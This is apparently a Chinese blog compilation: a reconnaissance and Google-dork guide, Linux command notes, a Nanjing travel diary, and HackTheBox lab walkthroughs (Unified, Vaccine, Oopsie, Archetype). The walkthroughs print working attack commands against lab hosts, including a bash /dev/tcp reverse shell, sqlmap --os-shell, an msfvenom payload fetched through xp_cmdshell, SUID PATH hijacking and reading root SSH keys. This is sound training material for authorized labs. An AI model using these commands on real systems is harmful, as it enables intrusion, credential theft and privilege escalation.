一、搜索引擎与高级语法

常用搜索引擎：

• Google
• Bing
• DuckDuckGo

常用高级语法（以 Google 为主）：

• "关键词"：精确匹配短语
• site:example.com：限定站点范围
• -关键词：排除关键词
• filetype:pdf/doc/xls/ppt：限定文件类型

示例：

1
2
3

site:target.com filetype:pdf "internal use"
site:target.com -www "login"
"target company" filetype:xlsx

不同搜索引擎的官方语法要点：

• Google Search Help 明确支持引号精确匹配、site: 限定站点、- 排除关键词；同时强调操作符与关键词之间不要加空格
• Bing 官方支持 filetype:、ext:、contains:、intitle:、inbody:、inanchor: 等高级关键词，适合补足文件和页面结构线索
• DuckDuckGo 官方帮助页支持 site:、filetype:、intitle:、inurl:、引号、- 与 !bang

补充示例：

1
2
3
4

intitle:"index of" "backup"
site:target.com ext:sql
site:target.com inurl:admin
site:github.com "target.com" "API_KEY"

二、专业资产检索平台

1) Shodan

• 用途：发现暴露在公网的服务、端口、设备指纹与组件版本。
• 适合快速判断目标暴露面和潜在弱点。

2) Censys

• 用途：检索主机、证书、服务指纹、互联网资产关系。
• 适合证书链和资产归属扩展分析。

3) VirusTotal

• 用途：查询文件哈希、URL、域名、IP 的历史检测结果与关联线索。
• 适合 IOC 扩线和可疑样本初筛。

4) Have I Been Pwned

• 用途：查询邮箱是否出现在历史数据泄露中。
• 适合账号暴露风险评估。

5) crt.sh

• 用途：基于证书透明度日志（CT Logs）检索域名、组织名、证书指纹和证书条目。
• 适合从主域名扩展到证书里出现过的子域名、历史证书和关联身份。
• 根据 crt.sh 首页说明，可直接搜索域名、组织名、SHA-1/SHA-256 指纹或 crt.sh ID。

6) Wayback Machine

• 用途：查看历史网页快照。
• 适合寻找已下线页面、旧版路径、历史 JS、历史管理入口和变更痕迹。

7) Wappalyzer

• 用途：识别站点技术栈。
• 适合快速判断目标使用的前端框架、CMS、中间件、分析脚本和第三方组件。
• 按 Wappalyzer 官方 FAQ，扩展会通过 HTML、脚本、Cookie、网络请求和证书等指纹识别技术。

8) robots.txt

• 用途：查看站点主动暴露给爬虫的路径提示。
• 适合发现后台目录、测试路径、敏感入口、sitemap.xml 位置。
• 这不是“漏洞”，但常常是非常高价值的线索入口。

三、漏洞与利用信息源

1) CVE / NVD

• 用途：查漏洞编号、影响范围、CVSS、修复建议。

2) Exploit-DB

• 用途：检索公开 PoC/Exploit 样例。
• 注意：PoC 需要结合版本和环境验证，不可盲用。

3) GHDB（Google Hacking Database）

• 用途：检索已经分类整理好的搜索引擎查询语句，也就是常说的 Google Dorks。
• 按 Exploit-DB 的官方说明，GHDB 是一套用于发现被公开暴露敏感信息的搜索查询索引。
• 补充理解：
• GHDB 不只对 Google 有参考价值，Exploit-DB 官方也明确提到它如今也包含面向 Bing、GitHub 等站点的搜索条目。

4) GitHub

• 用途：检索 PoC、漏洞复现脚本、检测工具、资产扫描工具。
• 建议同时查看：
• README 的适用版本说明
• Issues 里的已知问题
• 最近提交时间（判断是否过时）

四、官方文档与技术手册

信息收集不只是“找漏洞”，还包括“理解系统”。

推荐优先查官方文档：

• Linux 手册（man / GNU docs）
• Microsoft Learn
• Apache HTTP Server Docs
• Node.js 官方文档

常用命令：

1
2
3

man ls
man ip
man grep

价值：

• 精准理解参数行为
• 减少误报和误操作
• 快速验证某个配置是否默认开启

常见平台的官方说明重点：

• Shodan 官方文档将搜索对象定义为 banner，核心语法是 filter:value
• Censys 官方文档将查询分成 full-text query 和 field-value query 两类
• VirusTotal 官方文档将高级检索建立在 search modifiers 之上，常见写法是 entity:domain、entity:url、positives:5+
• Have I Been Pwned 官方 API 文档说明，按邮箱或域名查询需要授权，适合做受控范围内的暴露核验

补充示例：

1
2
3
4

org:"Example ISP" port:443
host.location.country="US"
entity:domain positives:5+
entity:url p:5+

五、社交媒体与公开信息（OSINT）

可用于目标侧信息拼图：

• 组织架构、员工身份、技术栈线索
• 邮箱命名规则、子域命名风格
• 对外系统入口、活动页面、历史泄漏痕迹

常见来源：

• GitHub、LinkedIn、X、Facebook、YouTube、B站等

实践建议：

• 测试用途尽量使用独立邮箱与隔离身份
• 不要将临时侦察账户绑定个人核心邮箱

六、一套可执行的侦察流程

Step 1: 基础画像

• 组织名、域名、子域名、IP 段、业务系统入口

Step 2: 页面痕迹与技术指纹

• 先访问首页与关键入口
• 查看 robots.txt、sitemap.xml
• 用 Wappalyzer 判断技术栈
• 用 Wayback Machine 看历史页面和旧路径
• 用 crt.sh 看证书与子域扩展

Step 3: 公开资产扩展

• site: + 文件类型语法
• Shodan/Censys 查暴露服务
• 证书与历史解析关系扩线

Step 4: 漏洞关联

• 按服务版本检索 CVE/NVD
• 检索公开 PoC（Exploit-DB/GitHub/GHDB）

Step 5: 风险验证与记录

• 验证是否真实可利用
• 记录证据链（截图/命令/时间线）

七、记录模板（建议直接复用）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

## 目标信息
- 目标域名：
- 目标IP：
- 业务入口：

## 资产发现
- 子域名：
- 开放端口：
- 中间件/版本：

## 漏洞线索
- CVE：
- 影响条件：
- 参考链接：

## 验证过程
- 命令：
- 输出摘要：
- 结论：

八、推荐官方入口

• Google Search Help: https://support.google.com/websearch/answer/2466433
• Bing Advanced Search Keywords: https://support.microsoft.com/en-us/topic/advanced-search-keywords-ea595928-5d63-4a0b-9c6b-0b769865e78a
• Bing Advanced Search Options: https://support.microsoft.com/en-us/topic/advanced-search-options-b92e25f1-0085-4271-bdf9-14aaea720930
• DuckDuckGo Search Syntax: https://duckduckgo.com/duckduckgo-help-pages/results/syntax/
• Shodan Query Syntax: https://book.shodan.io/getting-started/query-syntax/
• Censys Query Language: https://docs.censys.com/docs/censys-query-language
• VirusTotal Search Modifiers: https://docs.virustotal.com/docs/search-modifiers-full-list
• Have I Been Pwned API Docs: https://haveibeenpwned.com/API/V3
• NVD: https://nvd.nist.gov/
• GitHub Docs: https://docs.github.com/
• crt.sh: https://crt.sh/
• Wayback Machine: https://web.archive.org/
• Wappalyzer FAQ: https://www.wappalyzer.com/faq/extension/

核心思路：先广度摸清资产，再深度验证风险，最后形成可复现的证据链。
这比“只记工具名”更能提升在 TryHackMe 和实战中的效率。

这篇内容整理自我的 Linux 学习笔记，重点放在靶场和日常渗透测试最常用的命令上。

一、终端与身份

echo

• 作用：输出文本。
• 示例：echo "hello"

whoami

• 作用：查看当前登录用户。
• 示例：whoami

二、目录与文件浏览

ls

• 作用：列出目录内容。
• 常用参数：
• -l：长列表显示（权限、属主、大小、时间）
• -a：显示隐藏文件
• -h：配合 -l 友好显示大小
• -t：按修改时间排序
• -S：按文件大小排序
• -R：递归显示子目录

cd

• 作用：切换目录。
• 常用写法：
• cd 目录名：进入目录
• cd ..：返回上级
• cd ~ 或 cd：回到家目录
• cd -：返回上一次目录

pwd

• 作用：显示当前完整路径。
• 示例：pwd

cat

• 作用：查看文件内容。
• 常用参数：
• -n：显示行号
• -b：仅给非空行编号
• -s：压缩连续空行
• -A：显示特殊字符

三、文件查找与过滤

find

• 作用：按名称、类型、大小、时间、权限等条件查找文件。
• 使用提醒：
• 如果不写起始路径，通常默认从当前目录 . 开始查找
• -name "*.log" 这类模式建议加引号，避免被 shell 先展开
• 在靶场里经常会配合 2>/dev/null 屏蔽无权限访问报错
• 常用示例：

  1 2 3 4 5 6 7 8

  find . -name "*.log" find . -iname "*.jpg" find . -type f -size +10M find . -mtime -1 find . -perm 644 find . -name "*.log" -exec ls -lh {} \; find / -perm -4000 2>/dev/null find . -type f -name "*.conf" -exec grep -Hn "password" {} \; 2>/dev/null

grep

• 作用：文本过滤与模式匹配。
• 常用参数：
• -i 忽略大小写
• -n 显示行号
• -r 递归搜索
• -v 反向匹配
• -c 统计匹配行数
• -E 扩展正则
• -R 递归搜索并跟随符号链接
• -A/-B/-C 显示匹配前后文
• 使用提醒：
• -r 和 -R 很像，但 -R 会更积极地跟随符号链接
• 脚本里要注意退出码：匹配到是 0，未匹配到是 1，出错是 2
• 常用示例：

  1 2 3 4 5 6

  grep -i "error" app.log grep -rn "password" . grep -v "^#" config.txt grep -E "error|warning" app.log grep -Rni --include="*.conf" "password" /etc grep -A 2 -B 2 "failed" auth.log

wc

• 作用：统计文件信息。
• 示例：wc -l access.log（统计行数）

按时间查看最近修改的文件

• 按 GNU Coreutils 手册，标准 POSIX 文件通常至少有 3 个时间戳：
• atime：最后访问时间
• mtime：最后内容修改时间
• ctime：最后元数据状态变化时间
• 有些文件系统还支持第 4 个时间：birth time（创建时间）

常用查看方法：

1
2
3
4
5
6
7
8
9
10
11
12

ls -lt
ls -lt --time=ctime
ls -ltu
ls -lt --time-style=long-iso
ls -lt --time-style=full-iso
stat note.txt
stat -c '%n %x %y %z %w' note.txt
find . -type f -mmin -60
find . -type f -mtime -1
find . -daystart -type f -mtime 1
find . -newermt "2026-03-01"
find . -newer ref.txt

• 补充理解：
• ls -lt 默认按 mtime 排序，最新修改的文件排在最前面
• ls -lt --time=ctime 更适合看权限、属主、重命名等元数据变化
• ls -ltu 按访问时间看最近被读取过的文件
• --time-style=long-iso 和 full-iso 比默认时间格式更适合排查问题
• stat -c '%n %x %y %z %w' 可以一次看文件名、访问时间、修改时间、状态变化时间和创建时间
• find -mtime 0 的含义是“不到 24 小时前修改”，-mtime 1 是“24 到 48 小时前修改”
• find -mmin 适合更细粒度的分钟级筛选
• -daystart 会把计算基准改成今天 00:00，更适合查“昨天改过的文件”
• -newermt 可以直接按一个时间点筛选，-newer 则是拿参考文件做比较

四、重定向与连接符

• Linux 命令通常围绕 3 个标准流工作：
• stdin：标准输入（文件描述符 0）
• stdout：标准输出（文件描述符 1）
• stderr：标准错误（文件描述符 2）
• >：覆盖写入文件
• >>：追加写入文件
• <：从文件读取输入
• 2>：只重定向错误输出
• 2>/dev/null：丢弃错误信息
• > file 2>&1：把标准输出和错误输出写入同一个文件
• &&：前一条成功才执行后一条
• ;：无论前一条是否成功都继续执行
• &：命令放后台运行

示例：

1
2
3
4
5
6
7

cat < note.txt
echo "hey" > note.txt
echo "new line" >> note.txt
mkdir test && cd test
find / -name "*.conf" 2>/dev/null
grep -Rni "error" . > result.log 2>&1
python3 -m http.server &

• 补充理解：
• Bash 会按从左到右处理重定向，所以 cmd >file 2>&1 和 cmd 2>&1 >file 结果不同
• 做信息收集时，2>/dev/null 很常见，可以减少权限报错对刷屏的影响

五、常用文件操作命令

touch

• 作用：创建空文件或更新时间戳。
• 常用参数：
• -a：只改访问时间 atime
• -m：只改修改时间 mtime
• -d "时间"：使用指定时间
• -t [[cc]yy]mmddhhmm[.ss]：使用固定时间格式
• -r 参考文件：复制参考文件的时间戳
• -c：只改已有文件，不创建新文件
• 常用示例：

  1 2 3 4 5 6 7

  touch note.txt touch -m report.txt touch -a access.log touch -d "2026-03-29 12:00:00" note.txt touch -t 202603291200.00 note.txt touch -r ref.txt target.txt touch -c existing.txt

• 补充理解：
• 默认情况下，touch 会把文件时间戳设为当前时间
• 按 GNU Coreutils 手册，touch 可以直接修改的是 atime 和 mtime
• ctime 不能被手动指定为任意值，birth time 也不能通过 touch 修改
• touch 会按参数从左到右处理文件，所以前后两个文件的最终时间戳可能会有极小差异

mkdir

• 作用：创建目录。
• 常用示例：mkdir -p a/b/c

cp

• 作用：复制文件或目录。
• 常用示例：

  1 2 3

  cp file1.txt file2.txt cp -r dir1 backup/ cp -av src/ dst/

mv

• 作用：移动或重命名文件。
• 示例：

  1 2	mv old.txt new.txt mv file.txt docs/

rm

• 作用：删除文件或目录。
• 常用示例：

  1 2 3 4 5

  rm file.txt rm -r old_dir rm -rf temp/ rm -I temp/* rm -- -f

• 注意：rm -rf 风险极高，务必确认路径。
• 补充说明：
• rm -I 会在大批量或递归删除前先进行一次确认
• 如果文件名本身以 - 开头，可以用 -- 终止选项解析

file

• 作用：识别文件类型（文本、二进制、脚本、压缩包等）。
• 示例：file sample.bin

stat

• 作用：查看文件的详细元数据，包括大小、权限、inode 和时间戳。
• 常用示例：

  1 2	stat note.txt stat -c '%n %s %A %x %y %z %w' note.txt

• 补充理解：
• %x 是最后访问时间 atime
• %y 是最后内容修改时间 mtime
• %z 是最后状态变化时间 ctime
• %w 是创建时间；如果文件系统不支持，通常会显示 -

六、Linux权限模型

使用 ls -l 可看到如下权限位：

• 第 1 个字符表示文件类型：
• -：普通文件
• d：目录
• l：符号链接
• p：命名管道
• s：套接字
• 前三位：所有者（Owner）
• 中三位：用户组（Group）
• 后三位：其他用户（Others）

权限值：

• r 读（4）
• w 写（2）
• x 执行（1）

常见权限组合：

• 777：所有用户可读可写可执行
• 755：属主可写，其他只读可执行
• 700：仅属主可访问
• 644：属主读写，其他只读

目录权限需要单独理解：

• 目录的 r：可以列出目录内容
• 目录的 w：可以在目录中创建、删除、重命名条目
• 目录的 x：可以进入目录并访问其中对象

补充说明：

• 所以“目录可写”和“文件可写”不是一回事
• 如果 ls -l 权限串后面出现 + 或 .，通常说明还有 ACL 或安全上下文，不只是简单的 9 位 rwx

七、chmod、su 与 umask

chmod

• 作用：修改文件权限。

• 示例：

  1 2 3 4 5 6

  chmod 755 script.sh chmod 644 note.txt chmod 750 system_overview.txt chmod u+x script.sh chmod g-w notes.md chmod go-rwx private.txt

• 补充理解：

• 数字法适合一次性整体设置，例如 755、644
• 符号法更适合精细修改，只改某一部分权限，不会把其他位一起覆盖
• 对目录来说，除了普通 rwx 外，还可能涉及 setgid 等特殊位

常见特殊权限位：

• setuid
• setgid
• sticky bit
• 典型例子：/tmp 常见权限为 1777

su

• 作用：切换用户身份。
• 常见用法：

  1 2 3

  su user2 su - user2 su -c "whoami" user2

• 说明：su - 会使用目标用户的登录环境，更接近真实登录状态。

umask

• 作用：控制新建文件和目录的默认权限。
• 常见用法：

  1 2 3

  umask umask -S umask 022

• 理解方式：
• umask 022 的核心含义是去掉 group 和 other 的写权限
• 新目录常见结果是 755
• 新普通文件常见结果是 644

八、学习建议（靶场向）

• 先掌握目录与文件操作：ls/cd/pwd/cat
• 再掌握检索与过滤：find/grep/wc
• 最后重点理解权限和身份切换：chmod/su/umask
• 任何危险命令（如 rm -rf）执行前先 pwd 确认路径

如果你也在刷 TryHackMe，建议把每次机器里用到的命令按“信息收集 -> 利用 -> 提权”三段整理，复盘效率会高很多。

信息收集

目标信息

端口扫描

使用nmap扫描目标主机的IP。（这里看了下官方wp,有的使用的是rustscan,似乎比nmap快）

1

nmap -sV 10.129.109.6

这里发现了8443端口，居然是nagios-nsca服务，这个浏览器一搜就是爆出来的各种漏洞，例如CVE-2023-40931,CVE-2023-40934

靶场任务中在端口8443上运行的软件标题和运行的软件版本通过curl命令获取

1

curl -k https://10.129.106.9:8443/manage/account/login

漏洞探测

已经发现了unifi运行程序的版本号是6.4.54，接下来直接上edge(看个人)搜索是否已经存在相关漏洞，于是发现存在远程代码执行漏洞，编号为CVE-2021-44228(Log4jshell)

前渗透

Log4j 漏洞利用

在渗透过程中发现存在 Log4j 漏洞，相关利用 PoC 可以参考
Log4jUnifi GitHub 仓库。

接下来只需要按照上面说明对相应的环境进行搭建即可。
这里可以采用两种办法，一种是手动安装，另一种是docker安装

1
2
3
4
5
6
7
8
9
10
11
12

# 更新系统
sudo apt update && sudo apt upgrade -y

# 安装依赖
sudo apt install -y openjdk-11-jdk maven

# 克隆 GitHub 存储库并安装所有 python 要求：
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
    && cd Log4jUnifi && pip3 install -r requirements.txt

#命令编译 Rogue-Jndi 项目
mvn package -f utils/rogue-jndi/

1
2
3
4
5

# 拉取项目镜像
docker pull puzzlepeaches/log4junifi:latest

# 运行容器
docker run -it puzzlepeaches/log4junifi:latest /bin/bash

我这里本来打算使用的是这两种方式，但由于梯子的原因导致一直抓取不到，于是使用了另一种办法，创建了一个虚拟环境

1
2
3
4

python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

获取shell

在有了正确的环境配置后，就可以轻松的利用poc使用代码进行远程执行。

1

python3 exploit.py -u https://10.129.106.9:8443 -i 10.10.16.14 -p 4444

1

nc -lvnp 4444

这里发现uid=999 gid=999，说明肯定不是root权限运行
但是我们可以通过查找服务进程来找到mongo的端口号

提权

后渗透

方法一：获取并破解哈希

使用反向shell执行以下命令

1

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

方法二：添加管理员

首先为自己的账户生成密码哈希，可以使用mkpasswd本地生成

1

mkpasswd -m sha-512 pass

1

mongo --port 27117 ace --eval 'db.admin.insert({ "email" : "null@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$hBZE67014v.jFfqG$5cMXEP1Kd4AlAItqIBOWGZlXUgjslYIDIO3Gp5jDtyXeU6tsqr5JBIWVnwuINEgKoXSoOKsoT73ml7U11XU6S0" })'

验证并获取flag

验证

直接登入浏览器，输入自己添加的管理员账号和密码，直接从后台管理系统获得flag

这里我的浏览器不知道为什么没有返回后台管理，但是url已经顺利跳转过来了，估计是网络原因，所以我就做到这里停下了。

总结反思

本次渗透测试最主要的大概是第一次接触到了Log4j漏洞，之前也听说过这个漏洞，但是没有实际操作过，这次通过实战加深了对该漏洞的理解。
参考文章:

• HackTheBox Unified Writeup
• Another Log4j on the Fire – Unifi

本来打算穷游南京的，于是抢了个傍晚火车票，结果郑州东站高铁延误，到达南京已经是凌晨3点了，最倒霉的是，南京站地铁最早一班是5点15发车，于是我在凌晨天没亮时，坐在玄武湖畔的丝丝冷风中遥望对面的紫峰大厦……

住宿

在住宿上我是提前做了很多的攻略的，最后选择了一家性价比极高的青旅，之所以选择青旅不仅是因为价钱便宜，更重要的是我看网络上很多up主都说青旅的社交属性，所以我抱着交友一起游玩南京的心态，选择了南京的旷野青年旅店。
地点位于南京新街口，新街口区在南京算是比较繁华的地带了，出行非常方便，而且附近的景点也是相当之多。
话虽如此，但是我到了新街口才发现我的订房入住时间是下午2点…… 也就是说，我5:30——14：00之间的时间就只能在外面游荡了，大多数的店铺又没有开门，所以我第一选择就是去南京大学附近（大学附近岂能没有过夜的网吧！），
而且我也顺利的找到了一家名为“踏浪”的网吧，前台小姐姐很好说话，网管打扫也很勤快，环境也不错(睡不着)，但是包间一小时13大洋，（不知道是我太久没上过网还是怎么回事，我记得以前包夜不是才8块吗？）

到了下午2点，我动身前往旷野青年旅店，地点是二楼，且是交通口，还是比较方便找的。

里面的环境卫生是很干净的，而且风格上相较于普通酒店，更多的是年轻人的气息（不然为什么叫青旅呢？笑）





旷野的夕阳


总体来说，旷野青年旅社是一个非常适合年轻人的地方，环境舒适，价格合理，社交氛围也非常棒，包括哪里的美食以及游玩搭子都可以wx群去找。

人生何处不是旷野

吃

老潘记鸭血粉丝汤

说起来吃的就搞笑，在网吧我搜了一下当地美食，完事好多网红测评的小潘记鸭血粉丝汤，还有大潘记（听说是一对xd店），于是我的南京第一顿早餐就赶了两趟地铁，步行了10多分钟，找到了大潘记（小潘记关门装修），然后点了一份豪华顶配鸭血粉丝汤，如下：

不知道是不是因为我吃不惯肝的原因，味道很苦，然后，吃了两口就想吐，整个碗里面最好吃的是两半卤蛋…… -35

味千拉面

早上吃的鸭血粉丝汤，到了中午都没想吃饭，我只能说味道一言难尽，而且，美食这种东西最好还是别看网红视频了。
到了晚上，就在旅馆附近找了一家面馆——“味千拉面”，（主要是南阳理工附近的日式拉面属实难吃，纯纯调料面）日式风格的装修，

一份拉面一份鸡腿肉，味道是非常可以的，也很符合这个价格。
拉面是可以免费续一次面的，所以并不需要担心吃不饱之类的。

这个茶水没喝出来什么茶种，味道有点苦。

回味鸭血粉丝汤

回味鸭血粉丝汤的鲜肉汤包是相当的好吃，但是我还是吃不惯鸭血粉丝汤

老新隆牛肉锅贴

新街口交叉口有一家老新隆牛肉锅贴，味道也是相当不错的。
一碗馄饨一份锅贴，算是来南京吃最好吃的一顿了。

游景点

路上

南京大学

南京大学鼓楼校区是真的非常有历史感，建筑风格古朴，环境静谧，路边的梧桐树笔直挺拔，同时给予道路大片绿荫。

夫子庙

人！ 人！ 人！
好多人！
我不想动！

梧桐大道

吊带美女，拍照网红，游行团队
人也好多，我真的蛮好奇的，为什么好多人朋友圈里面各种打卡照片里面没有行人？

先锋书店（五台山总店）

书店真的好大，而且里面藏书真的好多，分类非常详细，好多港版书也是可以找的到的。

经典十字架

这个版本的《唐吉诃德》封面设计非常漂亮

面对现实，忠于理想。
坚强起来才不会丧失温柔。
永远向前，直到胜利！

德基

确实像网上说的一样，每一层的厕所都不一样，但是总感觉去厕所拍照也太违和了吧，而且，我拍的照片全是人头涌动。

来点正常点的

动漫周边

跟姚哥去的二次元中心，具体哪里我也忘了，好像新百附近？

玩

南京最想去找的就是攀岩馆，因为南阳玩不到www，在结合了网上评测，以及cika（微信小程序，里面是各个城市的岩馆信息，同时有人出售次卡，总的来说很适合旅游使用），最终选择了mojo climbing。

mojo climbing

这家岩馆位于南京秦淮区，离新街口不算太近但也说不上远，高铁换乘2次，然后浮桥下来骑共享单车10分钟左右就到了。
门店:

里面的前台小姐姐很漂亮，而且非常负责，在攀岩前会先问你是不是新手，是的话还会让你签一份保险hhh，然后换上攀岩鞋，会有教练给你讲解一些最简单的攀岩知识，比如如何去查看路线，路线的定级，以及起步动作和下落姿势。在确保了你熟练掌握了这些知识后，才会让你自己去找适合自己的路线。

里面有很多攀岩高手，而且只要你愿意，随时都可以请教他们，氛围非常好。

mojo climbing 是我此次南京之旅最大的收获，虽然我在里面只待了2个小时，但是我真的很喜欢攀岩这种运动，虽然我现在的水平还很菜，但是我会继续努力，我要健身！！！

总结

南京是一个非常有文化底蕴的城市，而且交通非常便利，最后，一定一定不要在旅游旺季去，秦淮河渡船完全坐不到！ 此外需要注意带遮阳伞，因为实在太晒了。
旅游的意义应该在与体验未知的事物，和不同地方的人去交谈，去找自己感兴趣平时却无法体验到的事物，绝对不是去打卡和拍照，那样实在太无聊了。

目标靶机信息

• 靶机IP: 10.129.10.233

一、端口扫描

使用 Nmap 进行端口扫描，发现以下开放端口：

1

nmap -sS -p- 10.129.10.233

1. 端口扫描结果分析

• 21/tcp open ftp vsftpd 3.0.3
• 22/tcp open ssh OpenSSH 8.0
• 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

其中21端口发现ftp服务，想起来之前靶场有过ftp匿名登陆的情况，尝试使用匿名登陆。

1

ftp 10.129.10.233

2. 通过ftp获取文件

成功登陆后查看目录

1

ls -al

把backup.zip下载下来

1

get backup.zip

1
2

zip2john backup.zip > zippedzip.txt
john zippedzip.txt

再次解压缩backup.zip，获得两个文件style.css和index.php

使用cat查看index.php文件内容

1

cat index.php

二、web漏洞利用，SQL注入

在拥有了账号admin和密码后，访问靶机的80端口，进入Web界面

在search框口输入1，发现url内有id参数，f12后发现PHPSESSID和value，怀疑存在SQL注入漏洞，接下来使用sqlmap进行测试

1
2
3
4

sqlmap -u "http://10.129.10.233/dashboard.php?search=py" \
--cookie "PHPSESSID=xxxxxxxxx" \
--flush-session \  #清除当前会话数据，确保开始一个新的扫描会话，避免冲突
--os-shell #SQL注入打开一个命令行

成功获取到os shell。
接下来利用反向shell以postgres shell连接
使用nc命令监听8888端口

1

nc -lvnp 8888

1

bash -c 'bash -i >& /dev/tcp/10.10.16.6/8888 0>&1'

三、提权

1. 提权至postgres用户

在反向shell中，找www目录下的文件

1
2

cd /var/www/html
ls -al

发现名为dashboard.php的文件，查看该文件内容

1

cat dashboard.php | grep pass #过滤出包含pass的行

接下来可以使用python脚本进行提权

1
2

python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -l #显示当前用户可以作为超级用户执行的命令列表

1

ssh postgres@10.129.10.233

输入密码后成功登陆

成功提权至ostgres用户

2. 提权至root

接下来使用sudo -l命令,发现了/bin/vi 是可以使用特定 pg_hba.conf 文件运行的程序，于是执行

1
2

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:!/bin/bash

成功提权到root权限

四、总结

在本次 HTB Vaccine 靶机渗透中，依次利用了 FTP 匿名登录 → 获取源码与凭据 → Web 登录 → SQL 注入获取 OS Shell → 反弹 Shell → SSH 登录 → sudo 提权 的完整攻击链。

一、端口扫描

使用 Nmap 进行端口扫描，发现以下开放端口：
22/tcp open ssh
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

1

nmap -sS -T4 -sV -Pn 10.129.95.191

二、信息收集

1.根据端口扫描结果，访问 HTTP 服务

根据提示发现需要找login页面，f12查看源代码发现路径

成功访问页面

尝试了弱口令爆破没有成功，使用以游客身份登陆进一步获取信息

三、获取用户权限

1.使用 BurpSuite 代理抓包，获得管理员id和username

以游客身份登陆进去后，在Account模块发现id传包，于是使用 BurpSuite 代理抓包，并遍历id

发现了admin和super admin
之后使用super admin放包

successfully!

之后根据靶场要求使用upload功能上传文件。
发现以游客身份无法上传

于是根据之前的抓包过程，先进行uploads页面抓包，修改为super admin的id和username然后放包，成功访问该模块

2.上传反弹shell文件

首先找upload上传路径，使用gobuster进行目录爆破

1

gobuster dir -u http://10.129.95.191 -w /usr/share/wordlists/dirb/common.txt -t 50

发现是uploads文件夹

准备php反弹shell文件。
这里我使用kali自带的php-reverse-shell.php文件

接下来修改监听ip和端口

1
2
3

vim filename        # 打开或新建文件
i                   # 进入插入模式
Esc                 # 退出插入模式

1
2
3
4

:q                   # 退出 Vim
:q!                # 强制退出 Vim
:w                   # 保存文件
:wq                  # 保存并退出 Vim

1
2
3
4
5
6

x                   # 删除光标所在字符
dd                  # 删除当前行  
yy                  # 复制当前行
p                   # 粘贴复制的行
u                   # 撤销上一步操作
Ctrl + r            # 重做上一步操作

修改成自己的监听IP和端口后，使用nc监听

1

nc -lvnp 8888

3. 使用curl触发反弹shell

1

curl http://10.129.95.191/uploads/phpshell.php

成功获取shell

四、提权

1. 提升为terminal shell

之前获得到的是一个php shell，并不能算是终端，需要做一下升级

1
2
3
4
5
6

# 常用升级方法
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z                # 挂起当前会话
stty raw -echo; fg      # 恢复会话
reset

2. 信息收集

使用linux命令查看cdn-cgi/login目录内部文件

1

ls -la /var/www/html/cdn-cgi/login

发现db.php文件
怀疑内部有数据库连接信息

1

cat /var/www/html/cdn-cgi/login/db.php

提权以robert用户身份登录

1

su robert

查看目录

1

ls -la

查找当前用户id,组id以及所属的group

1

id

查找属于该group的全部文件

1

find / -group bugtracker 2>/dev/null

发现只有一个/usr/bin/bugtracker文件

查看该文件权限和详细信息

1

ls -la /usr/bin/bugtracker

发现该文件是一个涉及到SUID方面的文件

执行该文件

1

/usr/bin/bugtracker

这里直接输入root.txt文件路径发现能直接获取root的flag
但是依然没有获取到root权限，所以我尝试利用该文件获取.ssh/id_rsa文件

1
2

/usr/bin/bugtracker 
/root/.ssh/id_rsa

3. 使用PATH劫持提权

在/tmp创建假的cat程序

1
2
3

echo '/bin/sh' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH #将/tmp放在PATH最前面

执行bugtracker程序

成功获取最高root权限！
参考: Hack-The-Box Oopsie 的分析

五、总结

在本次测试中，在执行反弹shell时候，有时候文件上传成功一次，但有时候需要多次尝试才能成功。这可能与靶场的防护机制有关，需要根据实际情况灵活应对。
上传的 php-reverse-shell.php 会在被访问（curl）时，立刻执行 system() 反弹到监听端口，然后 PHP 脚本结束，进程销毁。当第二次 curl 时，如果服务器的 PHP 环境不允许重复执行某些脚本（比如缓存、会话锁），可能就不触发。

这也是我第一次遇到通过PATH劫持提权的情况，非常有助于拓展提权思路

每一次突破权限，都是跨越认知的藩篱；每一次失败，都是积蓄下一次成功的力量！

一、端口扫描

1

nmap -sS -T4 -sV -Pn 10.129.75.207

445是smb(共享文件协议)端口，在未配置权限情况下可能允许匿名访问共享文件夹。

二、SMB 信息收集

尝试空密码进行SMB登陆

1. -L表示列出共享资源

2. -N表示不使用密码

1

smbclient -L -N //10.129.75.207/

发现backups目录

SMB连接并列出目录内容，下载有用文件

1
2
3

smbclient //10.129.75.207/backups -N
smb: \> ls
smb: \> get prod.dtsConfig

1

cat prod.dtsConfig

发现账号密码

三、MSSQL 利用

1.使用网络协议包impacket中的mssqlclient连接SQL server 服务器

1

impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.75.207

同时检查数据库权限

四、获取shell

1. 使用xp_cmdshell执行命令

我们需要修改配置

1
2
3
4

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

执行命令成功后检查

1

EXEC xp_cmdshell 'whoami';

2. 利用msf生成exe上传并执行

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.34 LPORT=4444 -f exe -o shell.exe

启动http服务，开启8000端口

1

python3 -m http.server 8000

3. 通过mssql下载到可下载目录下

1

EXEC xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.16.34:8000/shell.exe -outfile shell.exe"

4. msf监听并执行shell.exe

1
2
3
4
5
6

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.34
set LPORT 4444
exploit

1

xp_cmdshell "C:\Users\sql_svc\Downloads\shell.exe"

五、获取系统权限system

1. 查看powershell历史命令

1

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

2. 利用psexec进行登陆连接

1

impacket-psexec administrator@10.129.75.207

完成！

总结

本次 HTB Archetype 靶场主要学习了：

• SMB 匿名访问与敏感文件泄露
• MSSQL 连接与 xp_cmdshell 命令执行
• 利用 MSF 生成木马并反弹 shell
• Windows 提权思路（历史命令获取明文密码 + psexec）

此外在使用靶场环境时候，为了防止靶场文件不知道放在那里，最好在powershell开始之前先切换靶场目录。

